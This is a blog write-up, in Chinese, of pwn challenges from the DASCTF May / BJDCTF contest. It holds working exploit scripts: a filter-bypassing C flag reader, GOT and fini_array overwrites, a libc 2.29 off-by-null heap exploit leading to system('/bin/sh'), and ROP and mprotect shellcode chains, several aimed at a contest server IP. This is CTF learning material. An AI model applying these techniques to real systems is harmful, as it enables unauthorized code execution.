DASCTF五月赛&BJDCTF


菜鸡打比赛就是兴致满满打开网站—>下载附件,拖入IDA—>F5,眉头紧锁,冷静分析—>关闭网站,打开游戏,ctf什么的见鬼去吧

这次安恒月赛和bjdctf3rd梦幻联动,本着凑热闹的心态去打了一波,总共八个pwn,做了四个。。。艹,太菜了,下面记录并复现一下这次的赛题

0x1.OJ0

这题没有附件,是个c语言编译器,能够编译并且执行我们输入的c代码,所以我们需要通过输入c代码来拿到flag,测试之后发现system被禁,然后想用orw读flag,flag这个词也被禁,所以需要拼接,但还是读不出来,后来经提醒,flag的目录为/home/ctf/flag,继续读取,发现这个路径也被禁了,于是继续拼接,成功读取,exp如下

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
int main()
{
    char s[80];
    char file[30];
    strcpy(file,"/ho");
    strcat(file,"me/");
    strcat(file,"ct");
    strcat(file,"f/");
    strcat(file,"fl");
    strcat(file,"ag");    
    int fd=open(file,0);
    read(fd,s,0x30);
    printf("%s",s);
    return 0;
}

0x2.Memory_Monster_I

这题是任意地址写,并没有exit函数,加上程序开启了canary,所以考虑修改__stack_chk_fail函数为程序中的后门函数,这样栈溢出就会执行后门函数,exp如下

from pwn import *
context.log_level='debug'
#io=process('./Memory_Monster_I')
io=remote('183.129.189.60',10081)
elf=ELF('Memory_Monster_I')
__stack_chk_fail_got=elf.got['__stack_chk_fail']

payload=p64(__stack_chk_fail_got)
payload=payload.ljust(0x30,'\x00')

io.recvuntil('addr:')
io.send(payload)
payload=p64(0x40124a)
io.recvuntil('data:')
io.send(payload)
io.interactive()

0x3.happending

libc2.29的off-by-null,利用起来限制要多很多,而且这个题目存在off-by-null的功能还是add,难度就更大了,不过所谓前人栽树后人乘凉,有大师傅已经把利用方式总结好了,参考链接,我就不做讲解了,直接贴exp了

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
elf = ELF('x')
libc = ELF('libc.so.6')


def add(size, content):
    io.recvuntil('>')
    io.sendline('1')
    io.recvuntil(':')
    io.sendline(str(size))
    io.recvuntil('!')
    io.send(content)


def delete(index):
    io.recvuntil('>')
    io.sendline('2')
    io.recvuntil(':')
    io.sendline(str(index))


def show(index):
    io.recvuntil('>')
    io.sendline('3')
    io.recvuntil(':')
    io.sendline(str(index))


def pwn():
    for i in range(7):  # 0-6
        add(0x1000, "padding")

    add(0x1000-0x410, "padding")  # 7

    for i in range(7):  # 8-14
        add(0x28, 't')

    add(0xb20, "largebin")  # 15
    add(0x10, "padding")  # 16

    delete(15)
    add(0x1000, '\n')  # chunk15 to largebin

    add(0x28, p64(0) + p64(0x521) + p8(0x40))

    add(0x28, 'a')  # 18
    add(0x28, 'b')  # 19
    add(0x28, 'c')  # 20
    add(0x28, 'd')  # 21

    for i in range(7):  # 8-14
        delete(8 + i)

    delete(20)
    delete(18)

    for i in range(7):  # 8-14
        add(0x28, '\n')

    add(0x400, '\n')  # 18


    add(0x28,  p64(0) + p8(0x20))
    #gdb.attach(io)
    # gdb.attach(io)

    add(0x28, 'clear')  # 21

    for i in range(7):  # 8-14
        delete(8 + i)

    delete(19)
    delete(17)

    for i in range(7):  # 8-14
        add(0x28, '\n')

    add(0x28, p8(0x20))
    add(0x28, "clear")

    add(0x28, "a")  # 23 overwrite
    add(0x5f8, "a")  # 24 trigger off-by-null
    add(0x100, "/bin/sh\x00")  # 25

    delete(23)

    add(0x28, "a"*0x20 + p64(0x520))

    delete(24)

    add(0x40, "a") #24
    show(19)

    libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, "\x00"))-0x1e4ca0
    log.success('libc_base => {}'.format(hex(libc_base)))
    free_hook=libc_base+libc.symbols['__free_hook']
    system_addr=libc_base+libc.symbols['system']
    log.success('free_hook => {}'.format(hex(free_hook)))
    log.success('system => {}'.format(hex(system_addr)))

    delete(24)

    delete(17)

    add(0x28,'\x00'*8+p64(0x51)+p64(free_hook))
    add(0x40,p64(free_hook))
    #gdb.attach(io)
    add(0x40,p64(system_addr))
    delete(25)
    io.interactive()


if __name__ == '__main__':
    while True:
        try:
            #io=process('./x')
            io=remote('183.129.189.60',10108)
            pwn()
        except:
            io.close()

0x4.OJ1

同样是c语言编译器,不过这题不允许出现括号,包括<>,(),{},所以正常用c语言肯定不行,这种情况下有一种利用方式,就是将汇编语言的字节码作为输入,如下

const char main = 0x55, main1 = 0x48, main2 = 0x89, main3 = 0xe5, main4 = 0x48,
           main5 = 0x83, main6 = 0xec, main7 = 0x20, main8 = 0x48, main9 = 0xb8,
           main10 = 0x63, main11 = 0x61, main12 = 0x74, main13 = 0x20,
           main14 = 0x2f, main15 = 0x68, main16 = 0x6f, main17 = 0x6d,
           main18 = 0x48, main19 = 0x89, main20 = 0x45, main21 = 0xe0,
           main22 = 0x48, main23 = 0xb8, main24 = 0x65, main25 = 0x2f,
       main26 = 0x63,main27 = 0x74,main28 = 0x66,main29 = 0x2f,
       main30 = 0x66,main31 = 0x6c,main32 = 0x48,main33 = 0x89,main34 = 0x45,
       main35 = 0xe8,main36 = 0x66,main37 = 0xc7,main38 = 0x45,main39 = 0xf0,
       main40 = 0x61,main41 = 0x67,main20 = 0xc6,main21 = 0x45,main22 = 0xf2,
       main23 = 0x00,main24 = 0x48,main25 = 0x8d,main26 = 0x45,main27 = 0xe0,
       main28 = 0x48,main29 = 0x89,main30 = 0xc7,main31 = 0xe8,main32 = 0xa0,
       main33 = 0xfe,main34 = 0xff,main35 = 0xff,main36 = 0xb8,main37 = 0x00,
       main38 = 0x00,main39 = 0x00,main40 = 0x00,main41 = 0xc9,main42 = 0xc3;@

这以坨代码变成c代码如下

#include <stdio.h>
#include <stdlib.h>
int main()
{
    char rce[]="cat /home/ctf/*";    
    system(rce);
}

一开始我是用oj0的exp的字节码输入的,但太长了,就换了个这个,不过也报错了,预期解是啥我不知道,这题最终解决还是非预期解,直接

#include "/home/ctf/flag"

即可

👴裂开来

以上就是我做出来的四道题,下面四道就是复现了

0x5.Memory_Monster_II

这题静态编译,后门函数就是钓鱼(/bin/fish),做的时候毫无头绪,遂谷歌一波,找到了这位师傅的博客,不过看到有栈迁移就没看了,因为这题有个canary检查嘛。。。赛后看师傅们的wp,发现这一篇博文记录的知识点和题目考察的知识点一样的,就是劫持fini_array,真想给自己来一大嘴巴子。。。。

由于程序是静态编译,所以函数名杂乱无章,不过IDA能够识别出start函数,start函数里面会调用__libc_start_main,函数原型如下

__libc_start_main(main,argc,argv&env,init,fini,rtld_fini)

我们对照着看Memory_Monster_I和Memory_Monster_II的start函数

很容易通过对比确定函数

然后我们还需要一切前置知识,Linux下c程序是如何运行的,大致流程如下

_start--->__libc_start_main_--->init--->main--->fini

init和fini中分别存在数组.init_array和.fini_arry,这两个数组中存储着init函数和fini函数要执行的函数地址,可以通过ctrl+s在IDA中查看这两个数组的地址

我们在gdb中查看一下具体内容

可以看到,.init_array和.fini_array中都存储着两个地址

上面的程序执行流程,更细化一点如下

_start--->__libc_start_main--->init--->.init_array[0]--->.init_array[1]--->...--->.init_array[n]--->main--->fini--->.fini_array[n]--->.fini_array[n-1]--->...--->.fini_array[0]

init函数为执行main函数做准备,fini函数为main函数收尾,且init的执行顺序是顺序执行,fini则是逆序执行

此题中.init_array和.fini_array都有两个值,所以当我们将.fini_array[1]修改为main函数的地址,将.fini_array[0]修改为fini函数的地址,就可以无限循环了,流程如下

_start--->__libc_start_main--->init--->.init_array[0]--->.init_array[1]--->main--->fini--->.fini_array[1](main)--->.fini_array[0](fini)

所以这题的思路就是,首先修改.fini_array[1]为main函数的地址,.fini_array[0]修改为fini函数的地址,然后往.fini_array[2]上写rop链,rop链构造好后,再将.fini_array[0]修改为leave_ret,.fini_array[1]修改为ret即可执行rop链,这里其实就是一个栈迁移,具体原因看上面那个链接

exp如下

from pwn import *
io = process('./Memory_Monster_II')
elf = ELF('Memory_Monster_II')


def write(target, data):
    io.recvuntil('addr:')
    io.sendline(target)
    io.recvuntil('data:')
    io.send(data)


fini_array = 0x4b80b0
main = 0x401c1d
fini = 0x402cb0
pop_rdi_ret = 0x0000000000401746
pop_rsi_ret = 0x0000000000406f80
pop_rdx_ret = 0x0000000000448415
pop_rax_ret = 0x0000000000448fcc
bin_sh_addr = 0x0000000000492895
leave_ret = 0x0000000000401cf3
syscall = 0x0000000000402514
ret = 0x0000000000401016

write(p64(fini_array), p64(fini)+p64(main))
write(p64(fini_array+0x10), p64(pop_rdi_ret) + p64(bin_sh_addr))
write(p64(fini_array+0x10+0x10), p64(pop_rsi_ret)+p64(0))
write(p64(fini_array+0x10+0x10+0x10), p64(pop_rdx_ret)+p64(0))
write(p64(fini_array+0x10+0x10+0x10+0x10), p64(pop_rax_ret)+p64(59))
write(p64(fini_array+0x10+0x10+0x10+0x10+0x10), p64(syscall))
write(p64(fini_array), p64(leave_ret)+p64(ret))

io.interactive()

呜呼呼,这题涨姿势了,学到了新知识点

0x6.Memory Monster III

思路可上一题大致相同,不过要利用mprotect修改内存段权限,然后写入shellcode执行

from pwn import *
context.log_level = 'debug'
context.binary = './Memory_Monster_III'
io = process('./Memory_Monster_III')
elf = ELF('Memory_Monster_III')


def write(target, data):
    io.recvuntil('addr:')
    io.sendline(target)
    io.recvuntil('data:')
    io.send(data)


fini_array = 0x4b50b0
main = 0x401c1d
fini = 0x402ca0
mprotect = 0x448420
buf = 0x4bc100
read = 0x447620
pop_rdi_ret = 0x0000000000401746
pop_rsi_ret = 0x0000000000406f70
pop_rdx_ret = 0x0000000000447635
leave_ret = 0x0000000000401cf3
ret = 0x0000000000401016

write(p64(fini_array), p64(fini)+p64(main))
write(p64(fini_array+0x10), p64(pop_rdi_ret) + p64(0))
write(p64(fini_array+0x10+0x10), p64(pop_rsi_ret)+p64(buf))
write(p64(fini_array+0x10+0x10+0x10), p64(pop_rdx_ret)+p64(0x200))
write(p64(fini_array+0x10+0x10+0x10+0x10), p64(read)+p64(pop_rdi_ret))
write(p64(fini_array+0x10+0x10+0x10+0x10+0x10), p64(buf-0x100)+p64(pop_rsi_ret))
write(p64(fini_array+0x10+0x10+0x10+0x10+0x10+0x10), p64(1000)+p64(pop_rdx_ret))
write(p64(fini_array+0x10+0x10+0x10+0x10+0x10+0x10+0x10), p64(7)+p64(mprotect))
write(p64(fini_array+0x10+0x10+0x10+0x10+0x10+0x10+0x10+0x10), p64(buf))
write(p64(fini_array), p64(leave_ret)+p64(ret))
shellcode = asm(shellcraft.sh())
io.send(shellcode)
io.interactive()

文章作者: Lock
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lock !
评论
 上一篇
VMpwn学习 VMpwn学习
新手向,会讲得比较详细,入门不易 虚拟机保护的题目相比于普通的pwn题逆向量要大许多,需要分析出分析出不同的opcode的功能再从中找出漏洞,实际上,vmpwn的大部分工作量都在逆向中,能分析出虚拟指令集的功能实现,要做出这道题也比较容
2020-06-04
下一篇 
路由器环境搭建 路由器环境搭建
首先是安装binwalk,有两种方法 方法1:sudo apt-get install binwalk 方法2: git clone https://github.com/attify/firmware-analysis-toolki
2020-05-17
  目录